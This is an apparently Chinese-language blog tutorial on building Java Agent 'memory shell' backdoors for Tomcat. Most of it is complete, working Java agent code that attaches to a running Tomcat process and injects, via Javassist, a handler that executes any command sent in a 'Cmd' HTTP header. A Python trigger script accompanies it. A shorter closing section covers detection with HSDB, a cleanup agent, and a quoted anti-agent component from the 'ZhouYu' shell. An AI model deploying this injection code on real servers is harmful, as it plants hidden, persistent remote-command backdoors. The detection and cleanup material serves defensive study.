对 Tomcat Agent 型内存马的介绍
背景介绍 Java Agent 我们已经熟悉过了,在内存马方面,主要还是使用 Attach 模式
环境搭建 需要两个环境,一个用于生成 Agent 的 Jar 文件,依赖(JDK8u341):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <dependencies > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.27.0-GA</version > </dependency > <dependency > <groupId > jdk.tools</groupId > <artifactId > jdk.tools</artifactId > <version > 1.0.0</version > <scope > system</scope > <systemPath > ${java.home}/../lib/tools.jar</systemPath > </dependency > </dependencies > <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-assembly-plugin</artifactId > <configuration > <descriptorRefs > <descriptorRef > jar-with-dependencies</descriptorRef > </descriptorRefs > <archive > <manifestEntries > <Project-name > ${project.name}</Project-name > <Project-version > ${project.version}</Project-version > <Agent-Class > TomcatAgent</Agent-Class > <Can-Redefine-Classes > true</Can-Redefine-Classes > <Can-Retransform-Classes > true</Can-Retransform-Classes > </manifestEntries > </archive > </configuration > <executions > <execution > <id > make-assembly</id > <phase > package</phase > <goals > <goal > single</goal > </goals > </execution > </executions > </plugin > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-compiler-plugin</artifactId > <configuration > <source > 8</source > <target > 8</target > </configuration > </plugin > </plugins > </build >
另一个是普通的 Tomcat 环境(JDK8u341、Tomcat8.5.84):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <packaging > war</packaging > <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-war-plugin</artifactId > <version > 3.3.1</version > </plugin > </plugins > <finalName > hello</finalName > </build > <dependencies > <dependency > <groupId > javax.servlet</groupId > <artifactId > javax.servlet-api</artifactId > <version > 4.0.1</version > <scope > provided</scope > </dependency > <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 8.5.84</version > <scope > provided</scope > </dependency > </dependencies >
一个测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet(urlPatterns = "/") public class Hello extends HttpServlet { public void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/html" ); PrintWriter out = response.getWriter(); out.println("<html>" ); out.println("<head>" ); out.println("<title>Hello World!</title>" ); out.println("</head>" ); out.println("<body>" ); out.println("<h1>Hello World!</h1>" ); out.println("<h2>Hello World!</h2>" ); out.println("<h3>Hello World!</h3>" ); out.println("<h4>Hello World!</h4>" ); out.println("<h5>Hello World!</h5>" ); out.println("</body>" ); out.println("</html>" ); } }
内存马构建 doFilter 这里先使用 ApplicationFilterChain 来演示,将 ApplicationFilterChain 作为 Agent 修改的对象,它管理着一组 filter 的调用,它的 doFilter 会调用 internalDoFilter,后者依次取出各种 filter 并链式调用其 doFilter 方法,网上讨论比较多的思路就是利用 Javaassist 在ApplicationFilterChain#doFilter
开头插入恶意 Java 代码 Payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.List;public class TomcatAgent { public static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String args, Instrumentation inst) throws Exception { for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals(CLASSNAME)) { inst.addTransformer(new TomcatTransformer (), true ); inst.retransformClasses(clazz); } } } public static void main (String[] args) throws Exception { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor desc : list) { String name = desc.displayName(); String pid = desc.id(); if (name.contains("org.apache.catalina.startup.Bootstrap" )) { VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar" ); vm.detach(); System.out.println("attach ok" ); break ; } } } } class TomcatTransformer implements ClassFileTransformer { public static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain" ; public static final String CLASSMETHOD = "doFilter" ; @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool pool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); pool.insertClassPath(ccp); } if (className.replace("/" , "." ).equals(CLASSNAME)) { CtClass clazz = pool.get(CLASSNAME); CtMethod method = clazz.getDeclaredMethod(CLASSMETHOD); method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" + "String cmd = httpServletRequest.getHeader(\"Cmd\");\n" + "if (cmd != null) {\n" + " Process process = Runtime.getRuntime().exec(cmd);\n" + " java.io.InputStream input = process.getInputStream();\n" + " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" + " StringBuilder sb = new StringBuilder();\n" + " String line = null;\n" + " while ((line = br.readLine()) != null) {\n" + " sb.append(line + \"\\n\");\n" + " }\n" + " br.close();\n" + " input.close();\n" + " response.setContentType(\"text/html;charset=utf-8\");\n" + " response.getWriter().print(sb.toString());\n" + " response.getWriter().flush();\n" + " response.getWriter().close();\n" + "}" ); byte [] classbyte = clazz.toBytecode(); clazz.detach(); return classbyte; } } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; } }
先把上面的代码使用mvn assembly:assembly
打包(注意修改 Jar 的目录),然后运行 Tomcat 服务器,再运行上面的代码,即可注入,利用下面的脚本来验证:
1 2 3 4 5 6 7 8 9 import requestscmd = "ipconfig" url = "http://localhost:8080/AgentShell_war_exploded/" header = {"Cmd" : cmd} r = requests.get(url, headers=header) print (r.text)
这种类型的 Agent 在于命令被执行了多次(受到 Tomcat 自身和手动添加的 filter 的影响),我们应该使用下面这种
invoke 而org.apache.catalina.core.StandardWrapperValve#invoke
只会执行一次,可以换用它:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.List;public class TomcatAgent { public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve" ; public static void agentmain (String args, Instrumentation inst) throws Exception { for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals(CLASSNAME)) { inst.addTransformer(new TomcatTransformer (), true ); inst.retransformClasses(clazz); } } } public static void main (String[] args) throws Exception { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor desc : list) { String name = desc.displayName(); String pid = desc.id(); if (name.contains("org.apache.catalina.startup.Bootstrap" )) { VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar" ); vm.detach(); System.out.println("attach ok" ); break ; } } } } class TomcatTransformer implements ClassFileTransformer { public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve" ; public static final String CLASSMETHOD = "invoke" ; @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool pool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); pool.insertClassPath(ccp); } if (className.replace("/" , "." ).equals(CLASSNAME)) { CtClass clazz = pool.get(CLASSNAME); CtMethod method = clazz.getDeclaredMethod(CLASSMETHOD); method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" + "String cmd = httpServletRequest.getHeader(\"Cmd\");\n" + "if (cmd != null) {\n" + " Process process = Runtime.getRuntime().exec(cmd);\n" + " java.io.InputStream input = process.getInputStream();\n" + " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" + " StringBuilder sb = new StringBuilder();\n" + " String line = null;\n" + " while ((line = br.readLine()) != null) {\n" + " sb.append(line + \"\\n\");\n" + " }\n" + " br.close();\n" + " input.close();\n" + " response.setContentType(\"text/html;charset=utf-8\");\n" + " response.getWriter().print(sb.toString());\n" + " response.getWriter().flush();\n" + " response.getWriter().close();\n" + "}" ); byte [] classbyte = clazz.toBytecode(); clazz.detach(); return classbyte; } } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; } }
避免多次执行的问题,另外内存马一旦注入了之后Agent.jar
就不能删除,必须得一直保存在目标服务器上
反序列化 也可以使用反序列化漏洞打入内存马,把反序列化执行的 Payload 改为 attach 的代码即可,可以参考:浅谈 Java Agent 内存马
内存马查杀 这里使用sa-jdi.jar
Dump 出字节码进行分析:
1 java -cp sa-jdi.jar sun.jvm.hotspot.HSDB
搜索可能被 Agent 修改的类,Dump 出字节码进行分析:
反编译:
就发现内存马的存在了,关于如何清除内存马,要建立在查杀的基础上,利用 Agent 来还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import javassist.ClassPool;import javassist.CtClass;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.List;public class AgentClear { public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve" ; public static void agentmain (String args, Instrumentation inst) throws Exception { for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals(CLASSNAME)) { inst.addTransformer(new RecoveryTransform (), true ); inst.retransformClasses(clazz); } } } public static void main (String[] args) throws Exception { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor desc : list) { String name = desc.displayName(); String pid = desc.id(); if (name.contains("org.apache.catalina.startup.Bootstrap" )) { System.out.println("To: " + pid); VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\AgentClear\\target\\AgentClear-1.0-SNAPSHOT-jar-with-dependencies.jar" ); vm.detach(); System.out.println("attach ok" ); break ; } } } } class RecoveryTransform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(className); byte [] bytes = clazz.toBytecode(); clazz.detach(); System.out.println(className + " 已经被还原" ); return bytes; } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; } }
运行后就能看见:
内存马就此失效,清除这种内存马并不难,难的是如何寻找受影响的类,在此基础上衍生出来的 ZhouYu 内存马 ,在使用 Agent 写入内存马的基础上,还阻止其它 Agent 的加载:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package zhouyu.core.init;import java.io.ByteArrayInputStream;import javassist.ClassPool;import javassist.CtClass;import javassist.LoaderClassPath;import zhouyu.core.transformer.Transformer;public class ProtectTransformer implements Transformer { @Override public boolean condition (String className) { return false ; } @Override public byte [] transformer(ClassLoader loader, String className, byte [] codeBytes) { return check(className, loader, codeBytes); } private byte [] check(String className, ClassLoader loader, byte [] codeBytes) { CtClass ctClass = null ; try { ClassPool classPool = ClassPool.getDefault(); ctClass = classPool.makeClass(new ByteArrayInputStream (codeBytes)); if (ctClass != null && check0(className, ctClass)) { return new byte [0 ]; } } catch (Throwable e) { e.printStackTrace(); } finally { if (ctClass != null ) { ctClass.detach(); } } return codeBytes; } private boolean check0 (String className, CtClass ctClass) throws Throwable { CtClass[] interfaces = ctClass.getInterfaces(); if (interfaces != null ) { boolean flag = false ; for (CtClass anInterface : interfaces) { if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer" )) { System.out.println(String.format("[ZhouYu] 有新的agent: %s 加载,把它干掉!" , className)); return true ; } flag |= check0(className, anInterface); if (flag) { return flag; } } } return false ; } }
在这里,参考了别的文章:
在这里其实不影响随后 javaagent 加载的。原因在于,javaagent 修改类的字节码的关键在于用户需要编写继承自java.lang.instrument.ClassFileTransformer
,去完成修改字节码的工作。而周瑜内存马的方法在于,如果发现某个类继承自ClassFileTransformer
,则将其字节码修改为空。但是在这里并不会影响 JVM 加载一个新的 javaagent。周瑜内存马该功能只会破坏 RASP 的正常工作
周瑜内存马正常通过 javaagent 加载并查杀即可,不会受到任何影响的,或者我们也可以通过 redefineClass 的方法去修改类的字节码
这里我没有去做测试,不过这种想法确实挺不错的
本文参考链接:
Java Agent 内存马
浅谈 Java Agent 内存马